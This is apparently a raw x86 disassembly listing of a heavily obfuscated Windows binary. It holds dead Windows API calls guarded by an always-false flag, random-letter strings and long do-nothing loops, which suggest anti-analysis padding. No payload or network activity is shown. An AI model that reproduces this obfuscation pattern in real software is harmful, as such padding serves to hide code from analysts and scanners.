imul eax, edx, 0xfffffffb
test eax, eax
je 0x4104e0
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x4105d0
push 0x771
call dword [sym.imp.GDI32.dll_UpdateColors]
jmp 0x4105d0
mov dword [ebp - 0x44], 0xfc72fa5d
mov dword [ebp - 0x34], 0x5adb51fd
mov dword [ebp - 0x34], 0x87ea82bc
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x410515
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x32c], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x410500
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jg 0x4105be
push 0xfffffffffffffff8
pop ebx
jmp 0x410528
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x34], edi
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x410549
push eax
push 0x1f3a
push eax
push 0x914
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x32c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x410594
cmp dword [ebp - 0x24], eax
jne 0x410594
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x76e1
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x1c]
jg 0x41057d
cmp dword [ebp - 0x328], eax
mov ecx, eax
je 0x41057f
mov ecx, edi
cmp ecx, dword [ebp - 0x32c]
jne 0x41058e
cmp dword [ebp - 0x18], eax
je 0x41058e
mov eax, edi
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
neg eax
cmp ebx, eax
sbb edx, edx
neg edx
neg edx
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x410526
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x18], 0xc64a6847
push edi
lea ecx, [ebp - 0x45c]
call fcn.0040bc2e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x410603
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x45c]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x4105ed
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x41061c
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x410619
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
je 0x410608
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x41066f
jmp 0x41062e
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x410654
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x45c]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [ebp - 0x20]
jns 0x41063d
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x45c]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0
jle 0x41062c
lea ecx, [ebp - 0x45c]
call fcn.0040bd00
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x41069e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc94], 0xccb4f7bc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x410685
xor eax, eax
mov dword [ebp - 0x4c], 3
cmp dword [ebp - 0x4c], eax
jl 0x410f08
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x20], eax
jmp 0x4106cf
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x4106c6
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], 0x1d
jne 0x4106b6
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x4c]
xor edx, edx
cmp eax, 0x55ee
setg dl
mov eax, dword [ebp - 0x414]
imul edx, dword [eax + ecx*4]
xor ecx, ecx
cmp edx, dword [eax + esi*4]
setge cl
mov eax, dword [ebp - 0x4c]
inc eax
add eax, ecx
mov edx, dword [ebp - 0x414]
imul eax, dword [edx + edi*4]
xor ecx, ecx
cmp eax, dword [edx + ebx*4]
setl cl
mov eax, dword [ebp - 0x24]
sub ecx, dword [edx + eax*4]
xor eax, eax
mov esi, dword [ebp - 0x34]
cmp dword [edx + esi*4], ecx
setle al
xor ecx, ecx
mov esi, dword [ebp - 0x44]
cmp eax, dword [edx + esi*4]
setne cl
xor eax, eax
mov esi, dword [ebp - 0x54]
cmp dword [edx + esi*4], ecx
setl al
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x324ec2e0
or esi, 0xffffffff
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], 0x5761ac7e
mov dword [ebp - 0x38], 0xa258
mov dword [ebp - 0x24], 0xd8e65dd4
xor edi, edi
inc edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x18], 0x15
cmp dword [ebp - 0x18], 3
jl 0x4107be
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x4107b5
push 0x23a3
push eax
push 0x2661
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jge 0x410798
mov dword [ebp - 0x44], 0x3c21
cmp dword [ebp - 0x44], 0x3fc1
jle 0x4107ff
xor esi, esi
mov dword [ebp - 0x24], esi
mov ebx, esi
mov esi, 0x3a4e
mov eax, ebx
cdq
push edx
push eax
mov ecx, 0xa9b358
call fcn.0040b8d9
dec ebx
dec esi
jne 0x4107da
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x372e
jl 0x4107d3
or esi, 0xffffffff
mov dword [ebp - 0x18], 6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov ebx, 0xa0c0e075
cmp dword [ebp - 0x2c], 0
jne 0x41086f
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setle dl
cmp ebx, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, ecx
setge dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, 0xffff98d8
sub ecx, eax
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x2c]
xor eax, eax
cmp ecx, 5
setl al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x18], 2
jbe 0x41086f
xor eax, eax
mov ecx, eax
jmp 0x410873
mov ecx, edi
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
je 0x410882
cmp dword [ebp - 0x34], eax
mov edx, edi
jne 0x410884
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setle cl
push 4
pop eax
sub eax, ecx
je 0x41089f
cmp dword [ebp - 0x2c], 0
je 0x41089f
mov eax, edi
jmp 0x4108a1
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 4
cmp dword [ebp - 0x44], 0x3b2d
jge 0x4108c3
mov edx, str.rmupkvk_fhibgd_bqiw_lcs_ikxbeeg_qbh_enhlquhcz_zgmn_emayffojp_suctfssh_byqviqj_zdqtduy
mov ecx, 0xa9b358
call fcn.0040e54d
mov dword [ebp - 4], esi
xor eax, eax
jmp 0x4108f4
push 6
pop ecx
mov dword [ebp - 0x18], 0x324ec2e0
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], 0x5761ac7e
mov dword [ebp - 0x38], 0xa258
mov dword [ebp - 0x24], 0xd8e65dd4
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x18], 0x15
cmp dword [ebp - 0x18], 3
jl 0x410a0d
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x410a05
mov dword [ebp - 0x34], 0x5904
cmp dword [ebp - 0x34], 0x5a7f
jle 0x4109a0
mov ecx, eax
mov dword [ebp - 0x38], eax
mov esi, eax
mov dword [ebp - 0x24], eax
mov ebx, eax
mov dword [ebp - 0x54], ecx
mov ecx, esi
mov esi, dword [ebp - 0x54]
sar esi, cl
mov eax, ebx
xor eax, esi
cdq
push edx
push eax
mov ecx, 0xa9b358
call fcn.0040b8d9
inc ebx
cmp ebx, 0x89f
jl 0x41095d
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0xf41
push 0
pop eax
mov ecx, dword [ebp - 0x38]
jl 0x410951
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x5010
jl 0x41094c
mov ebx, 0xa0c0e075
or esi, 0xffffffff
push 0x23a3
push eax
push 0x2661
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
push 6
pop ecx
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x34], 0x5611
jge 0x4109d3
mov edx, str.kbtziqw_fzyfduqiy_yiuoyekv_qigagduit_himwq_vcdyrwcul_xrzuq
mov ecx, 0xa9b358
call fcn.0040e54d
push 6
pop ecx
mov dword [ebp - 4], esi
jmp 0x410a03
xor eax, eax
dec dword [ebp - 0x18]
jmp 0x410920
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
push 2
cmp dword [ebp - 0x2c], 0
jne 0x410a76
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setle dl
cmp ebx, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, ecx
setge dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, 0xffff98d8
sub ecx, eax
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x2c]
xor eax, eax
cmp ecx, 5
setl al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
pop ebx
cmp dword [ebp - 0x18], ebx
jbe 0x410a77
xor eax, eax
mov ecx, eax
jmp 0x410a7b
pop ebx
mov ecx, edi
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
je 0x410a8a
cmp dword [ebp - 0x44], eax
mov edx, edi
jne 0x410a8c
mov edx, eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setle cl
push 4
pop eax
sub eax, ecx
je 0x410aa8
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x410aaa
mov ecx, edi
jmp 0x410aac
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jg 0x410efe
jmp 0x410ac1
push 2
pop ebx
push 3
lea ecx, [ebp - 0x824]
call fcn.0040bc2e
push ebx
lea ecx, [ebp - 0x5f8]
call fcn.0040bc2e
mov dword [ebp - 0x40], ebx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x410b03
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x824]
mov dword [eax + ecx*4], 0xae9714a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x410ae8
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x410b25
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x5f8]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x410b0b
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x410b3b
push 0xd80
call dword [sym.imp.USER32.dll_GetSysColorBrush]
xor eax, eax
mov esi, dword [ebp - 0x5f8]
mov dword [esi + 4], eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x410b60
push 0x21b8
push 0x92f
push eax
call dword [sym.imp.USER32.dll_InflateRect]
xor eax, eax
inc dword [esi + 4]
cmp dword [esi + 4], ebx
jle 0x410b44
lea ecx, [ebp - 0x5f8]
call fcn.0040bd00
lea ecx, [ebp - 0x824]
call fcn.0040bd00
mov dword [ebp - 0x24], 0x40774242
mov dword [ebp - 0x20], 0x632667a8
mov dword [ebp - 0x54], 0xab9737e0
mov dword [ebp - 0x48], 0x95e2de4b
mov dword [ebp - 0x34], 4
push edi
lea ecx, [ebp - 0x610]
call fcn.0040bc2e
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x44], 0x36ca9a47
mov dword [ebp - 0x50], 0xfffa
mov dword [ebp - 0x28], 0
jmp 0x410bd8
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa74], 0xfffffffe
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x410bc7
mov dword [ebp - 0x28], 0
jmp 0x410bfa
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x610]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x410be7
mov dword [ebp - 0x28], 0
jmp 0x410c19
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x28c], 0x380d42f5
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x410c08
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x54]
xor ecx, ecx
test eax, eax
setg cl
imul eax, ecx, 0x34ef
sub eax, dword [ebp - 0x20]
jne 0x410c4b
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x610]
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
cmp eax, ecx
jge 0x410c64
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa6c]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
test eax, eax
setns cl
inc ecx
jne 0x410c81
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x410c83
mov eax, edi
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x610]
call fcn.0040bd00
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x414]
xor ebx, ebx
cmp dword [eax + ecx*4], ebx
jne 0x410efb
push 2
lea ecx, [ebp - 0x244]
call fcn.0040bc2e
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x3c], 0xa2337124
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], ebx
jmp 0x410ce2
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x244]
mov dword [eax + ecx*4], 0x643cdf98
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x410ccf
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov esi, dword [ebp - 0x3c]
neg esi
sbb esi, esi
neg esi
mov ebx, dword [ebp - 0x244]
mov dword [ebp - 0x24], ebx
imul ecx, dword [ebp - 0x2c], 0x13e1
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x2c]
sub eax, esi
neg eax
sbb eax, eax
inc eax
xor ecx, ecx
cmp eax, edx
setl cl
add ecx, 6
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebx + 4]
mov ecx, dword [ebp - 0x2c]
lea eax, [edx - 1]
mov dword [ebx + 4], eax
cmp edx, ecx
jge 0x410d69
mov dword [ebp - 0x24], 0x64f6cbcb
mov dword [ebp - 0x34], 8
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp eax, ecx
setg dl
add edx, dword [ebx + 4]
mov dword [ebp - 0x34], edx
jmp 0x410ee0
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x244]
cmp ecx, dword [eax]
setle dl
add edx, 0x78e1
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x3c]
add eax, 0xffff103f
add eax, ecx
cmp eax, 0xfffffff8
ja 0x410e89
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x410e89
mov dword [ebp - 0x28], eax
jmp 0x410e7e
mov dword [ebp - 0x34], 0x29c6149a
mov dword [ebp - 0x3c], eax
jmp 0x410ddb
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x9f0], 0x86e0
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x410dca
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x244]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setg dl
cmp edx, 0xf2012cb5
jne 0x410e08
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x9e8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x410e40
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x244]
xor ebx, ebx
cmp dword [eax + ecx*4], ebx
jne 0x410e3d
mov edx, ebx
mov ebx, dword [ebp - 0x24]
jmp 0x410e42
mov ebx, dword [ebp - 0x24]
mov edx, edi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
sete cl
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp ecx, eax
setge dl
neg edx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, 0x21f4251d
setge dl
xor eax, eax
cmp edx, dword [ebx + 4]
setle al
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x28]
push 0
pop eax
cmp dword [ebp - 0x28], edi
jle 0x410dbe
jmp 0x410ee0
mov dword [ebp - 0x24], 0x34f9
mov dword [ebp - 0x34], 0x3c66883c
mov dword [ebp - 0x24], 0xecce005a
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x410eaf
cmp dword [ebp - 0x34], eax
mov ecx, edi
jne 0x410eb1
mov ecx, eax
mov eax, dword [ebp - 0x34]
sub ecx, eax
xor edx, edx
cmp ecx, 0xfffb
setne dl
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, 0x4a59
je 0x410ed6
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x244]
call fcn.0040bd00
mov dword [ebp - 0x24], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jle 0x410abe
or esi, 0xffffffff
dec dword [ebp - 0x4c]
xor eax, eax
jmp 0x4106a5
lea ecx, [ebp - 0x414]
call fcn.0040bd00
mov dword [ebp - 0x34], 0x2d1e
cmp dword [ebp - 0x34], 0x3076
jle 0x410f97
xor edx, edx
mov dword [ebp - 0x1c], edx
xor esi, esi
xor eax, eax
mov dword [ebp - 0x24], eax
xor ebx, ebx
lea ecx, [eax + esi]
mov eax, edx
sar eax, cl
cdq
push edx
push eax
lea ecx, [ebp - 0xb44]
call fcn.004019b1
pop ecx
pop ecx
mov ecx, eax
call fcn.0040b8ce
push eax
call fcn.004b4d47
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xb44]
call fcn.0040c2ae
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x2f38
mov edx, dword [ebp - 0x1c]
jl 0x410f31
inc esi
cmp esi, 0x3a1e
jl 0x410f2a
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x30f1
jl 0x410f28
push 0x27d
call dword [sym.imp.GDI32.dll_EndDoc]
or esi, 0xffffffff
mov dword [ebp - 4], 8
cmp dword [ebp - 0x34], 0x2b91
jge 0x410fb2
push str.ounnmx_wrf_okqq_hvw
call fcn.004b4d47
pop ecx
mov dword [ebp - 4], esi
xor eax, eax
jmp 0x410fde
mov dword [ebp - 0x308], 0x799a
mov dword [ebp - 0x304], 0x799a
mov dword [ebp - 0x300], 0x799a
mov dword [ebp - 0x2fc], 0x799a
mov dword [ebp - 0xfc], 0xa12b57e8
mov dword [ebp - 0xf8], 0xa12b57e8
mov dword [ebp - 0xf4], 0xa12b57e8
mov dword [ebp - 0xf0], 0xa12b57e8
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 3
jg 0x41114c
mov eax, dword [ebp - 0xfc]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x308], ebx
je 0x411072
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x4110eb
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x4110e9
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x34], edi
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41109f
push 0x20b
push 0x118f
push 0x1009
push 0x1744
push 0xa45
call dword [sym.imp.GDI32.dll_Ellipse]
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0xfc]
mov esi, dword [ebp + eax*4 - 0x308]
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x308], esi
mov ecx, dword [ebp - 0x24]
add ecx, 0xffffbcf3
neg ecx
sbb ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 3
setl al
xor edx, edx
cmp eax, esi
setge dl
mov eax, dword [ebp - 0xfc]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x34], ecx
xor eax, eax
mov dword [ebp - 0x3c], 3
or esi, 0xffffffff
cmp dword [ebp - 0x3c], eax
jl 0x411137
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
jmp 0x41112c
mov dword [ebp - 0x20], 0x2c5b641b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x411129
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x308], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x411114
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jle 0x411102
dec dword [ebp - 0x3c]
jns 0x4110fa
inc dword [ebp - 0xfc]
cmp dword [ebp - 0xfc], 3
jle 0x411048
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x411162
push 0x683
call dword [sym.imp.GDI32.dll_GetStockObject]
xor eax, eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x38], 0x207647f1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffeb
jne 0x411222
mov dword [ebp - 0x280], 0x98764276
mov dword [ebp - 0x27c], 0x98764276
mov dword [ebp - 0x278], 0x98764276
mov dword [ebp - 0x274], 0x98764276
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x278]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp eax, ecx
setle dl
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
cmp dword [ebp - 0x27c], ecx
jle 0x4111ef
cmp dword [ebp - 0x1c], 0
je 0x4111ef
mov ecx, edi
jmp 0x4111f1
xor ecx, ecx
xor eax, eax
cmp ecx, esi
setg al
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x20]
jne 0x41120e
cmp dword [ebp - 0x38], eax
je 0x41120e
mov eax, edi
jmp 0x411210
xor eax, eax
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffeb
je 0x411179
xor eax, eax
mov dword [ebp - 0x4c], 0xbcd8c45c
mov dword [ebp - 0x28], eax
push edi
lea ecx, [ebp - 0x16c]
call fcn.0040bc2e
mov dword [ebp - 0x24], 0xa2324015
xor eax, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x20], eax
jmp 0x411266
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x16c]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x411253
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jg 0x4114dd
mov ebx, 0xcda6a44f
jmp 0x411288
xor eax, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x3c], eax
push 3
lea ecx, [ebp - 0x628]
call fcn.0040bc2e
push 2
lea ecx, [ebp - 0x48c]
call fcn.0040bc2e
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x4112ce
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x628]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x4112b3
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x4112f2
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48c]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x4112d7
xor eax, eax
mov dword [ebp - 0x28], 0x5dae5a6
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x4114ba
jmp 0x411309
xor eax, eax
mov dword [ebp - 0x1c], 0x2ade89b9
mov dword [ebp - 0x20], eax
jmp 0x411322
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8b8], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x411315
mov esi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax + ecx*4]
mov dword [edx + esi*4], eax
test eax, eax
jne 0x4113f7
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0x38]
test eax, eax
jne 0x4113cd
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax + ecx*4]
neg eax
xor ecx, ecx
cmp eax, 0x70e7
setle cl
mov eax, dword [ebp - 0x628]
mov dword [eax + 8], ecx
mov esi, dword [ebp - 0x28]
xor edx, edx
test ecx, ecx
setne dl
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, edi
setg al
cmp ebx, eax
sbb ecx, ecx
dec ecx
mov eax, dword [ebp - 0x16c]
sub ecx, dword [eax + esi*4]
neg ecx
sbb ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0xdef0
setg al
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
